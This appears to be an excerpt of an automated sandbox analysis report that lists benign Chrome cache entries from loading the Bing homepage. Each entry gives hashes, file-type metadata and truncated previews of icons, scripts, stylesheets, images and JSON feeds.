Preview:	{"Scripts":[{"Path":"https://r.bing.com/rp/pF2PfMNHZl6kUOVLn4XEGHZP_z0.js","Postloaded":true},{"Path":"https://r.bing.com/rp/yfhemBfy2-1hsn-Pzs7ZcFHIdVM.js","Postloaded":true}],"Styles":[{"Path":"https://r.bing.com/rp/qz_XABEk9uinJqFMD6b6yPjYYTU.css","Postloaded":false},{"Path":"https://r.bing.com/rp/RwGC9aq3HWFHA4-nvqf37VWlckM.css","Postloaded":false},{"Path":"https://r.bing.com/rp/6wDd80TfrjsxqxnEl7ODpSWRxdY.css","Postloaded":true},{"Path":"https://r.bing.com/rp/d_DmhogwQOWjbEX-g0oLpQVcA5w.css","Postloaded":true}],"CustomFields":{"VideoYuleLog":"https://az12410.vo.msecnd.net/homepage/specialexp/holiday/2019/YuleLog/1080/Fireplace_GettyRR_98571085_1080.mp4","VideoAurora":"https://az12410.vo.msecnd.net/homepage/specialexp/holiday/2019/Aurora/1080/1920_FinlandAurora_SS_13482083.mp4","AudioYuleLogMp3":"https://az12410.vo.msecnd.net/homepage/specialexp/holiday/2019/YuleLog/audio/CozyFirepace_Getty_553682.mp3","ImageToShare":"https://az12410.vo.msecnd.net/homepage/specialexp/holiday/2020/h

Chrome Cache Entry: 666

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	885
Entropy (8bit):	4.5570985620533735
Encrypted:	false
SSDEEP:	12:ty6MIrYQ2f6pmdyG5CRaWqFQZtKSlt85upWEtKMca/Kv3kK3kK3TfQARQ:ttMIYQpmgG5C4zFQZcSXWEcoqRQ
MD5:	3EE38F567EE1E65F61C47CCA63D4EF8B
SHA1:	28A9AFEE39ACEB67BF89CF30CA9831E54286200F
SHA-256:	21227BFE773210614F70787C9BD2C6AC5A301791205A69E67E3AA65162D94929
SHA-512:	52E593E07BE82ADFA9599EB4DFBFFA322CEC58CDA4A17BCA0BCA1A6A4E6ECB2A459B41B1B1103D022376F51FACA819BA442B55B8BF6286CF6152FA3CB9F62FA6
Malicious:	false
Reputation:	unknown
URL:	https://r.bing.com/rp/KKmv7jms62e_ic8wypgx5UKGIA8.svg
Preview:	<svg enable-background="new 0 0 64 48" viewBox="0 0 64 48" xmlns="http://www.w3.org/2000/svg"><path d="m4.5.5h55c2.209 0 4 1.791 4 4v39c0 2.209-1.791 4-4 4h-55c-2.209 0-4-1.791-4-4v-39c0-2.209 1.791-4 4-4z" fill="#fff" stroke="#ccc"/><path d="m14 14h-6c-1.105 0-2-.895-2-2v-4c0-1.105.895-2 2-2h6c1.105 0 2 .895 2 2v4c0 1.105-.895 2-2 2z" fill="#106ebe"/><path d="m34 36h-26c-1.105 0-2-.895-2-2v-14c0-1.105.895-2 2-2h26c1.105 0 2 .895 2 2v14c0 1.105-.895 2-2 2z" fill="#c4c4c4"/><path d="m24 14h29c2.209 0 4-1.791 4-4s-1.791-4-4-4h-29c-2.209 0-4 1.791-4 4s1.791 4 4 4zm31 4h-14c-1.105 0-2 .895-2 2s.895 2 2 2h14c1.105 0 2-.895 2-2s-.895-2-2-2zm0 7h-14c-1.105 0-2 .895-2 2s.895 2 2 2h14c1.105 0 2-.895 2-2s-.895-2-2-2zm0 7h-14c-1.105 0-2 .895-2 2s.895 2 2 2h14c1.105 0 2-.895 2-2s-.895-2-2-2zm0 7h-47c-1.105 0-2 .895-2 2s.895 2 2 2h47c1.105 0 2-.895 2-2s-.895-2-2-2z" fill="#ddd"/></svg>

Chrome Cache Entry: 667

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (28499), with no line terminators
Category:	downloaded
Size (bytes):	28499
Entropy (8bit):	5.464092044647653
Encrypted:	false
SSDEEP:	768:kpe5mB7azmB7ad5KVyDQNSkGyDQS2mZvghM/4S8Sv:kVaAazDxgDj/Zvb7nv
MD5:	435D4389CF37EBDF488B09D33328E64C
SHA1:	E4897917BB729F94808672478A32FAD44CEEB350
SHA-256:	F56C5B27AD30B13345DEDB5081AC381A0BE37A454242D2D289B90C5F44CDDDA8
SHA-512:	E0C35C5055200CD536B190966872EBEB8D7ED9ECE087E49F51B0EF6F9D7A935DC938C53C9C562E42506A10DDDE08C6B8D7B0A1EFB10BCD972FE5EF124DCCA88A
Malicious:	false
Reputation:	unknown
URL:	https://r.bing.com/rp/5Il5F7tyn5SAhnJHijL61Ezus1A.js
Preview:	var ModernRewards;(function(n){var t="redDotDisplay",e="redDotDisplayFill",f="rewards_header_icon serp",o="rewards_header_icon hp",s="/red-dot-24.png",h="AutoOpenFlyoutFired",c="bfbNotificationShown",l="BNPNotificationShown",a="ChatVerticalShown",v="CookieDisabled",y="IsAADUser",p="MissingModel",i=!0,u="",r="//az15297.vo.msecnd.net/images/rewards/membercenter/missions/redotIMG.png",w=function(){function n(n){this.reportActivityModel=n;this.rewardsReadyEventArgs={isAuthenticated:n&&n.IsAuthenticated,isRebatesUser:n&&n.RewardsSessionData&&n.RewardsSessionData.IsRebatesUser,isRewardsUser:n&&n.RewardsSessionData&&n.RewardsSessionData.IsRewardUser,isTrialUser:n&&n.RewardsSessionData&&!n.RewardsSessionData.IsRewardUser&&n.RewardsSessionData.IsTrialUser,waitlist:n&&n.RewardsSessionData&&n.RewardsSessionData.Waitlist,isCcpEligible:n&&n.RewardsSessionData&&n.RewardsSessionData.IsCcpEligible}}return n.prototype.initialize=function(){var r=this,e,o,s,w,n;if(this.reportActivityModel){if(this.sendR

Chrome Cache Entry: 668

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 268x224, components 3
Category:	downloaded
Size (bytes):	5901
Entropy (8bit):	7.902009675697229
Encrypted:	false
SSDEEP:	96:NPbbbrHlYM80XPq3s+cbODSZRyOvMUi0oV2OmhaRgPSgjAQlAe6jEFd9ThYO2lXL:NPbbbBC0XPq32RvyOvYwhpVjAQRbDHYZ
MD5:	724ED6D9C7E08D475DE2A4D13BF765C3
SHA1:	34463B15C954D0B452864090C39869514B6F09A8
SHA-256:	D15868649ED820AB797A3F0E85BAEAE6ED3174D3A3DC8FAAC9B57A8A5474E513
SHA-512:	C92E491DD2B4577D2A2859F6831243C66200172395E1089AF039D3E96345DE65ADC44C90386221ADEC9C0F82F77782CD1C0936E34B05D5C5AD96130F9DFA977D
Malicious:	false
Reputation:	unknown
URL:	https://th.bing.com/th?id=OPHS.3WjN03GeiIKf9g474C474&o=5&pid=21.1&c=4&h=224&w=268&rs=1
Preview:	......JFIF.............C.......................................%..%....)).%756.2>-)0.;!....C...........,...,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,...........".......................................R..........................!1Qq.2Aa..."....Rbr...#%BS...$345ce.......t&6ETUdsu........................................................1.!A.BQ............?....'i.{J....(z..T.....w..T".....w..T".....w..T".....w..T"..}..tf.u,r.=I6.fw.Va..iW=..S..j.....r..Z85.#w.k."......\|qW:..gC<sA3....to......5...z..T.5...)......^..'h....h5.l..z.'.......)...=.?......j.4UM.c....Q.6....v..~.`;.......u....S.0.7.^.K.K....n.}...k..Y.wl...\'.....m.+.rF0.F6g;.N.F...2UB.... ..h....=....,cs/...5...n.Zp2.f.} ...'.R.p.:c.U...A.MG...`.gnv{.?.l.....E=;%s.qa.9Xc.o,.....r..c..0c....'>.F.....g...]..=.]WN.g.Y...V.a._.k.m....D..'.L;.f....=c..l..u..8.[..7[.]........W.9w..S..\|J.A9w..S..\|J.A9w..S..\|J.A9w..S..\|J.A9w..U.'.<UJ.n<.....w2.I.;.P................y..Y(&......C.:.r2.......i.........y.

Chrome Cache Entry: 669

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (55200)
Category:	downloaded
Size (bytes):	115516
Entropy (8bit):	5.4468973130101626
Encrypted:	false
SSDEEP:	1536:z+HTGujHDljSadkHycv1/+foqKXHawiC8SbbORqNrtzFSezhozdpRMH:z+HTGujsdHycv1/+foqKXHawiCJf5p
MD5:	8E0415A5B0BA09FFE1B20B1B7F919D96
SHA1:	A381D0E84452ABAE83A013E7A5BEEAA355783F17
SHA-256:	8925E900C60537469EF290991A41B40A7C44E760B5F32213437F8B13A09AB5DD
SHA-512:	C41DC40BDE448D39F01E270DCEA483BC81BF3C52A8A1544D93490E19F2870CECC23052174BC6568774BBA9191A1FD9B9B05A3D9ADAEADC81CB216CE55EB72A73
Malicious:	false
Reputation:	unknown
URL:	https://assets.msn.com/bundles/v1/bingHomepage/latest/card-actions-wc.e49ce4b00559e7496194.js
Preview:	(self.webpackChunk_msnews_msnews_experiences=self.webpackChunk_msnews_msnews_experiences\|\|[]).push([["card-actions-wc"],{545:function(e,t){"use strict";t.Z='<svg width="12" height="12" viewBox="0 0 12 12"><path d="M6.85 6 12 11.15l-.85.85L6 6.85.85 12 0 11.15 5.15 6 0 .85.85 0 6 5.15 11.15 0l.85.85L6.85 6Z"/></svg>'},19456:function(e,t){"use strict";t.Z='<svg width="14" height="15" viewBox="0 0 14 15"><path d="M11.77.75c.31 0 .6.06.87.18A2.2 2.2 0 0 1 14 2.98a2.2 2.2 0 0 1-.66 1.57L4.2 13.7 0 14.76l1.05-4.21 9.14-9.13a2.19 2.19 0 0 1 .73-.49c.27-.11.55-.17.85-.17Zm-9.75 9.88a2.78 2.78 0 0 1 1.32.78 2.76 2.76 0 0 1 .78 1.32l7.6-7.6-2.1-2.1-7.6 7.6Zm-.99 3.09 2.4-.6a2.09 2.09 0 0 0-.22-.64 2.04 2.04 0 0 0-.4-.54 2.04 2.04 0 0 0-.54-.4 2.09 2.09 0 0 0-.64-.23l-.6 2.4Zm11.22-9.13.37-.35a2.93 2.93 0 0 0 .32-.36c.1-.12.17-.26.22-.4a1.36 1.36 0 0 0 .09-.5 1.5 1.5 0 0 0-.9-1.36 1.4 1.4 0 0 0-.58-.12 1.36 1.36 0 0 0-.5.09 1.73 1.73 0 0 0-.4.22 3.06 3.06 0 0 0-.36.32l-.35.37 2.09 2.1Z"/></svg>'}

Chrome Cache Entry: 670

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	27050
Entropy (8bit):	5.311910726386856
Encrypted:	false
SSDEEP:	384:Ju5HpoedXBkzeBPaMZFbIf3NGvRgr32YPGeCxfRPPOqbgoMmb+KAYpHYs7+x:J6xtBkzeoM/biGg9GecwKgoMmNp4s7+x
MD5:	6766470B95D42D3B8AB4CF543FA49BD2
SHA1:	DC905CDF6875CD8BB69CA94385934E2683884DB5
SHA-256:	CDA368A18C96F2E11242E0463B1A5E55D91994E41DA38B41F9C82C0C20A55102
SHA-512:	9902C88A12CC9A9AB397AF420D56EEE82A9D3FBB75E38EA3D62FECF18D479B1FE23DA3975C0593FD0FB70367C6ED2778130BFDA6A2FE23530806502E27ECB391
Malicious:	false
Reputation:	unknown
Preview:	<svg width="45" height="14" viewBox="0 0 45 14" fill="none" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">.<rect width="45" height="14" fill="url(#pattern0)"/>.<defs>.<pattern id="pattern0" patternContentUnits="objectBoundingBox" width="1" height="1">.<use xlink:href="#image0_51_2339" transform="matrix(0.000879864 0 0 0.00282813 -0.2438 -0.774074)"/>.</pattern>.<image id="image0_51_2339" width="1704" height="901" xlink:href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABqgAAAOFCAYAAAAWJGOCAAAACXBIWXMAAC4jAAAuIwF4pT92AAAgAElEQVR4nOzdTXIcR5Yu0HCZxl2oFRTUGyhoBQQn/YaE5s+MwApIroDkCkCuAJBZzwkNX08IroDQBprQCoTqDfizoG6qUyB+8ifcwyPyHDOa1GoyEfD0DLDuF/d6BwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Chrome Cache Entry: 671

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 186x88, components 3
Category:	dropped
Size (bytes):	5235
Entropy (8bit):	7.915838822311368
Encrypted:	false
SSDEEP:	96:8zgEtzKiyw9ewk7gBzP3RovWzNb9tXf5oWR9cqkv/+:ygizKi/ewkMP3Cuz/9x9ae
MD5:	822F9E47D1941C96DE090670D5E49FF6
SHA1:	A9B3C7E3B73B208F74062E86ACA4747B47489608
SHA-256:	EDBC6B8400D9666772758F4254BA667CF671398C697F1954DE81CEB324B140B0
SHA-512:	DB1F05F74BCD99F39660BA9B077456F33720D3B6821F55A5ED0584EA416F5578389ED64AAB0DBEA7D33D22A5205C8F435104C1F28621D0FEAC740DF079710319
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.....`.`.....C.....................................'!..%..."."%()+,+. /3/2'+...C..............*************************************************......X...."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..-.-..6..S..E;KCr....=iZ..q..\|.y..5......2lI.e.t.U...,r}k.O..........:4....(9'.?...^hl......jORN.}..4}..L.Kte.....zS..;W?.{.^.9F..#.."C...F...3..F.2..(.G.&.u......v5hD,F".I0=.....1...}ou...Ko.ls.I..5.}......."msJ../%......uX......ap.._[J.2.&R..S...u.w_._.m&.~.p..^....?.iC...........c.4/i%xD.a......;..uB.V.E..a...U&..F>....k....u..v..".......u.&...0G

Chrome Cache Entry: 672

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 300x225, components 3
Category:	dropped
Size (bytes):	24024
Entropy (8bit):	7.966844333163851
Encrypted:	false
SSDEEP:	384:eMdwk5XFqt9lvGnzxoSI2PtLSOdIOQFn//OKV8V+uK8YsuWLRyJ2:eMd151qtqzx3HkB/OKV8VL+BW0J2
MD5:	7F1C78F2CD6FB2C6328B4B08C4D59D0C
SHA1:	2E9129872556B279C09322419B556E21C93482CC
SHA-256:	CA4E4F8A09800325AFD2D53965371F283B0F66F8A2EF6D24AEF235B4BD70DDBD
SHA-512:	36197A3F6EBA8CE4ADA0A8A8D71338DAF732C89EA1EB90B8A180185309F861AEF82AACCC0A9DFDCEF27AC5DDFD460F5DBA03D1456E4051D5372AAE9C00FC0970
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.....`.`.....C....................................................................C.........................................................................,.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?....h...bQ......o.. ...8d..f.o...W...H.........s_.....q.X.H.l(.j.....d\|S........k.*.....k.G...wFt.b.]...q...`...sG..Kh.....\|W.....o..m..Eq..H#[...[.!]O#88<.(vkA..;3.;...YT.X.....I.P..][.{+.&&'i/......A..8...7.:..k&h.......c....k7.:.6,.U}....]A.v..>.`...............#.D....U.F..aSF..d...dn.vx=8=..G3..ix.;q.Oj.._..s.g.OL.S...a..H..`.x#.>\....\.@8..4..l....%?).q.

Chrome Cache Entry: 673

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	1833
Entropy (8bit):	4.991497829827264
Encrypted:	false
SSDEEP:	48:Yd+hU6sIEA1Uxk+kxqwHuKYSO+yhPhHX+gQr:Js3A1UYxq6dI5mr
MD5:	EC4B4AE6EA40A2118B87BC219736CECF
SHA1:	14EE529380E3ACF329A6D83CD07BC632654AEE4D
SHA-256:	603B74D01DA0132F1A20BFF3FFD463C696C1B1307B09BE01BE4364A6D4B2171E
SHA-512:	5A652624B163526ECE2B9884F5739D19828DA5714B16E35A61F087D13D6F95F35ACC7DFA6289BE113631967244F5EAFBCB40CD7B91CD1403294DC3A7A2D792C5
Malicious:	false
Reputation:	unknown
URL:	https://www.bing.com/hp/api/v1/codexnudge?format=json&
Preview:	{"title":"","data":[{"clickThroughUrl":"https://www.bing.com/search?iscopilotedu=1&sendquery=1&q=Write%20a%20C%23%20program%20to%20check%20if%20a%20number%20is%20prime","fullText":null,"imageUrl":null,"modifiedBy":null,"modifiedTimestamp":0,"prompt":"","promptIconUrl":null,"promptSubtitle":null,"query":"Write a C# program to check if a number is prime","response":null,"type":0,"category":null},{"clickThroughUrl":"https://www.bing.com/search?iscopilotedu=1&sendquery=1&q=Help%20me%20discover%20unique%20ideas%20for%20personalized%20gifts.%20What%20are%20some%20popular%20options%20for%20customizing%20a%20gift%3F","fullText":null,"imageUrl":null,"modifiedBy":null,"modifiedTimestamp":0,"prompt":"","promptIconUrl":null,"promptSubtitle":null,"query":"Help me discover unique ideas for personalized gifts. What are some popular options for customizing a gift?","response":null,"type":0,"category":null},{"clickThroughUrl":"https://www.bing.com/search?iscopilotedu=1&sendquery=1&q=Write%20a%20short%2

Chrome Cache Entry: 674

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	14883
Entropy (8bit):	5.494942715728041
Encrypted:	false
SSDEEP:	192:V6KOdXzdgwvd8DjXS23QaqgAl0kIslPaGySHiuoKcV2pCQLpbEzH:fOLcXSJaRkh9ixSdJca0
MD5:	71B6A2B92667FF06FB056FED2C16295E
SHA1:	16EDA1A695AEF2C59E9B0886F4F4C7446328071C
SHA-256:	FE9033A005DFADE7C0ADD239BBC02DA3F7128D3B4509AC993921D24DBE209D05
SHA-512:	572CBFE3F1ED46156D1AC00E2B2BF532B9F12CB71DB5125CD3C7D82D9B06A7F7B9D136881C6FBBB090552196B75C4BA9247B308D4F62C6F17DE69605DA1A68C8
Malicious:	false
Reputation:	unknown
Preview:	{"title":"","data":[{"typeName":"TrendingNow","items":[{"title":"6 dead, 3 injured in Texas","url":"/search?q=Shootings+across+Texas&efirst=0&ecount=50&filters=tnTID%3a%223C7AB6C8-CAEF-439f-B7E1-A920F1936B4E%22+tnVersion%3a%225397447%22+Segment%3a%22popularnow.carousel%22+tnCol%3a%220%22+tnOrder%3a%22af02067c-9620-49e2-b7c7-b728ad9ba5d0%22&form=HPNN01","imageUrl":"/th?id=OPN.RTNews_pu4Sh615T_Ss0HuDxz5lbg&w=186&h=88&c=7&rs=2&qlt=80&pid=PopNow","badge":null,"imageCredit":". Provided by New York Post","tooltip":"Shootings across Texas","linksTarget":"","dataTags":null,"additionalMetaData":{"editorial":{"clickThroughUrl":"","badgeText":"","badgeColor":"","badgeBackground":""},"msn":{"clickThroughUrl":"","articleId":"","source":""}},"shortTitle":"","longTitle":""},{"title":"Air Force confirms fatality","url":"/search?q=Osprey+crash+in+Japan&efirst=0&ecount=50&filters=tnTID%3a%2262A0725A-144A-40a3-B55B-EAC2E4C299F7%22+tnVersion%3a%225397447%22+Segment%3a%22popularnow.carousel%22+tnCol%3a%22

Chrome Cache Entry: 675

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	282
Entropy (8bit):	4.768675821769942
Encrypted:	false
SSDEEP:	6:tbXH4mc4sl3UY7eERI1+N9H5R0MLERIwoVNdJMvdIXyCWfuBIAFfu:tbH41niB1+bj0MLBnpavdqyVGBIAFm
MD5:	E38795B634154EC1FF41C6BCDA54EE52
SHA1:	16C6BF388D00A650A75685C671AF002CEA344B4B
SHA-256:	66B589F920473F0FD69C45C8E3C93A95BB456B219CBA3D52873F2A3A1880F3F0
SHA-512:	DCA2E67C46CFF1B9BE39CE8B0D83C34173E6B77EC08FA4EB4BA18A4555144523C570D785549FED7A9909C2E2C3B48D705B6E332832CA4D5DE424B5F7C3CD59BE
Malicious:	false
Reputation:	unknown
Preview:	<svg focusable="false" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 16 16">.. <path d="M0 0h16v16h-16z" fill="none"/>.. <path d="M8 1a7 7 0 1 0 7 7 7 7 0 0 0-7-7zm1 10a1 1 0 0 1-2 0v-3a1 1 0 0 1 2 0zm-.293-5.293a1 1 0 1 1 .293-.707 1 1 0 0 1-.293.707z" fill="#767676"/>..</svg>

Chrome Cache Entry: 676

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (589), with no line terminators
Category:	downloaded
Size (bytes):	589
Entropy (8bit):	5.085028072286348
Encrypted:	false
SSDEEP:	12:bCMUnSeFbDN5a8f8R4Xtmp4ElMYVoJFp1wErUVKtRJnZM4C8Lv:bPUSeFbZ5ae8R4XtmqElFVK1ptRNj
MD5:	7A903A859615D137E561051C006435C2
SHA1:	7C2CBEB8B0E83E80954B14360B4C6E425550BC54
SHA-256:	281D6234FD292800C2A5DBD14E524C9CEE0D4438188B0B7D873ABF41515A7666
SHA-512:	AA47EFAB7EC689B838D1E5ADFE26E035E8B93F2B806F1954214447CB2065FA5906F81A70B4C656B3CE1490D8AC2009C7E7B0F96491D6D4559C41FB25D08FE35C
Malicious:	false
Reputation:	unknown
URL:	https://r.bing.com/rp/fCy-uLDoPoCVSxQ2C0xuQlVQvFQ.css
Preview:	#rewardsLoadingAnimation{position:absolute;top:50%;left:50%;margin-left:-30px;z-index:1;border-radius:50%;border:1.5px solid;border-color:#0078d4 #c7e0f4 #c7e0f4;animation:spin360Deg 1.3s cubic-bezier(.53,.21,.29,.67) infinite}#rewardsLoadingAnimation.extraLarge{width:100px;height:100px}#rewardsLoadingAnimation.large{width:80px;height:80px}#rewardsLoadingAnimation.medium{width:60px;height:60px}#rewardsLoadingAnimation.small{width:40px;height:40px}#rewardsLoadingAnimation.extraSmall{width:20px;height:20px}@keyframes spin360Deg{from{transform:rotate(0deg)}to{transform:rotate(360deg)}}

Chrome Cache Entry: 677

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 300x225, components 3
Category:	downloaded
Size (bytes):	15738
Entropy (8bit):	7.962121211990795
Encrypted:	false
SSDEEP:	384:e98CzS3KgO3CKxiMhdbyzfu/b6bi3dXokSDKMYn+EG6:e9vS3KgOnMMhVKfSObQ2kSDrY+ED
MD5:	668C3E51B7D9E01F7A9051AFE8D481C0
SHA1:	895F50430B6374D6451EDECE4FF88BDC3AEB042E
SHA-256:	80F8BD7F3A9ED8538B866158C16CC0A720C732DB548CDCE3B8062745DADBDC2D
SHA-512:	B85426B2B290F67C00E7962CEB166EF78C6C80C373ADF5756DCA56287D46B080CF7C73CE2FF74BD36F5125C5EE09ECAA512F6DEE41D64030BDE14927B18B5FA1
Malicious:	false
Reputation:	unknown
URL:	https://th.bing.com/th?id=ORMS.599abefe023233cabdd3486a4a86fd0b&pid=Wdp&w=300&h=225&qlt=90&c=1&rs=1
Preview:	......JFIF.....`.`.....C....................................................................C.........................................................................,.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?....T...`CSQ.nk.........n...1V#p....`{P......8...~.WZym...FN3......kvZ[y..n^9../..}..Q...qq..c...\|.t'....F.: .?6.nm.M........P....)...;...e.}e...).L....=.,.i.L.W.Y.2O.:..."...yk....z...E*...u..n[..;....V.w.............M.....O.k..4..."......Nm...Nk.<#.....S,2w...)..J\....m.....~.b.......f..o..c&c..t....yp7.&>.x.>..C..Y...P.H.n....+K.:..gg#A.SnY..?........

Chrome Cache Entry: 678

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3775), with no line terminators
Category:	downloaded
Size (bytes):	3775
Entropy (8bit):	5.29650692492817
Encrypted:	false
SSDEEP:	96:HgGiPbuAlWy7sCHBFHEm0tWr3cJvEb6FG:HTMuAldsCHB4YrtgG
MD5:	25579D1CA23E689B3D4F7751209A1E74
SHA1:	E6F447A90A7A166E026714CFA55C7DC0D90673CD
SHA-256:	F08BD9586C19AF0E136ECE0231038F74BC3F705CC9C49CC593170A2979F8D26F
SHA-512:	39AF9657F5DBCA78717262B2F7A2BF841F7513D3E3240CFDB6EF74B948F98218A6886CEC9BC7E01A46BC2091E81EA7A8A85AA382A3BC410960B69808BFC25DFA
Malicious:	false
Reputation:	unknown
URL:	https://www.bing.com/sa/41714962/Blue/HamburgerServicesHeaderFlyout_c.js
Preview:	var sch=sch\|\|{};(function(){function ct(){typeof sj_b!="undefined"&&r&&n&&(ft(),sj_be(r,u,et,!1))}function ft(){var r,u,i,t;l\|\|(l=!0,r=[],at(r),r.push("IID="+n.getAttribute("_iid")),r.push("IG="+_G.IG),u=_w.Feedback,u&&u.Bootstrap&&r.push("fbnb=1"),i="/hamburger/scfo?ver="+_G.AppVer+"&"+r.join("&"),i.indexOf("&ru=")<0&&(i=i+"&ru="+encodeURIComponent(_w.location.href)),/^\/images\/search$/i.test(_w.location.pathname)?i+="&mmasync=1&src=img":/^\/images\/feed/i.test(_w.location.pathname)?i+="&mmasync=1&src=imgfd":_w._H&&(_w._H.feature==="cnt"?i+=_w._H.type==="entp"?"&src=ent":"&src=cnt":_w._H.hpqs&&(i+="&src=hp")),t=sj_gx(),t.open("GET",i,!0),t.onreadystatechange=function(){t.readyState==4&&t.status==200&&t.responseText?(_w.sj_appHTML?sj_appHTML(n,t.responseText):n.innerHTML=t.responseText,p=!0,lt(),w!=null&&et(w)):t.readyState==4&&(l=!1,p=!1)},t.send(null))}function lt(){var t,n,i;if(sj_evt.bind("onFeedbackStarting",b),sj_evt.bind("onMenuDismiss",b),_d.querySelectorAll)for(t=_d.querySele

Chrome Cache Entry: 679

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (61566), with CRLF line terminators
Category:	downloaded
Size (bytes):	126282
Entropy (8bit):	5.7035670074413884
Encrypted:	false
SSDEEP:	1536:Gv3e6ZhOiif1chbMp0XaZQTyv2t68h1SU/cN6UuD5EJ4Y3zts+WUNf12pqZ9aK4W:GfLZmf1chbg+ar2olU/eZoKpR34ZUr
MD5:	74EE3DA4A640A4676DB5C160B1B60DF0
SHA1:	95FA56C5FF19CCFD16C259F1C9B7B9554BECE56D
SHA-256:	B9B829B7A8866C2BFD37566E5B381B6D5296609F7807E1E9F570428EFFC3DD56
SHA-512:	04A81D29C81656AA9C104E2F1AC25AF31A9F4899DE405D4C0348CE28E76443976164261A96AD9F44E02CD4B017A6E361FEDEBDCA3FD3E5CC3A53A0A2A006D3FE
Malicious:	false
Reputation:	unknown
URL:	https://www.bing.com/
Preview:	<!doctype html><html lang="en" dir="ltr"><head><meta name="theme-color" content="#4F4F4F" /><meta name="description" content="Bing helps you turn information into action, making it faster and easier to go from searching to doing." /><meta http-equiv="X-UA-Compatible" content="IE=edge" /><meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta property="fb:app_id" content="570810223073062" /><meta property="og:type" content="website" /><meta property="og:title" content="A global code for the future" /><meta property="og:image" content="https://www.bing.com/th?id=OHR.CERNCenter_EN-US9854867489_tmb.jpg&rf=" /><meta property="og:image:width" content="1366" /><meta property="og:image:height" content="768" /><meta property="og:url" content="https://www.bing.com/?form=HPFBBK&ssd=20231206_0800&mkt=en-US" /><meta property="og:site_name" content="Bing" /><meta property="og:description" content="Computer science is a dynamically developing disci" /><title>Bing</ti

Chrome Cache Entry: 680

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 300x225, components 3
Category:	dropped
Size (bytes):	23471
Entropy (8bit):	7.966359359884777
Encrypted:	false
SSDEEP:	384:eWItG6hWkFT/EmrwCXtLWUHWymJJhBtOvUb1hg/tLiY934aKTqVqvkfcUd3Zb/5k:exJx8mrXXt5LmJBtYUZhgFLi83g2lbdM
MD5:	04C56DD2B22F2C5CF19A6D53CCA6C76E
SHA1:	FF0E74702813EC206B64DF093A6EA1677726645F
SHA-256:	094775A794E227D1569FB612A94D2EC0C58CBF9C10B68BA8C782580FBADC525C
SHA-512:	D859E611EAF4ACEC6E8D898566DAE8C61CE3AF6324B35880898578525F09B1419983FE79A398A5C480DFE8CDF7D9D5F9D414A28DE02D23799991CEBBB9AD062B
Malicious:	false
Reputation:	unknown
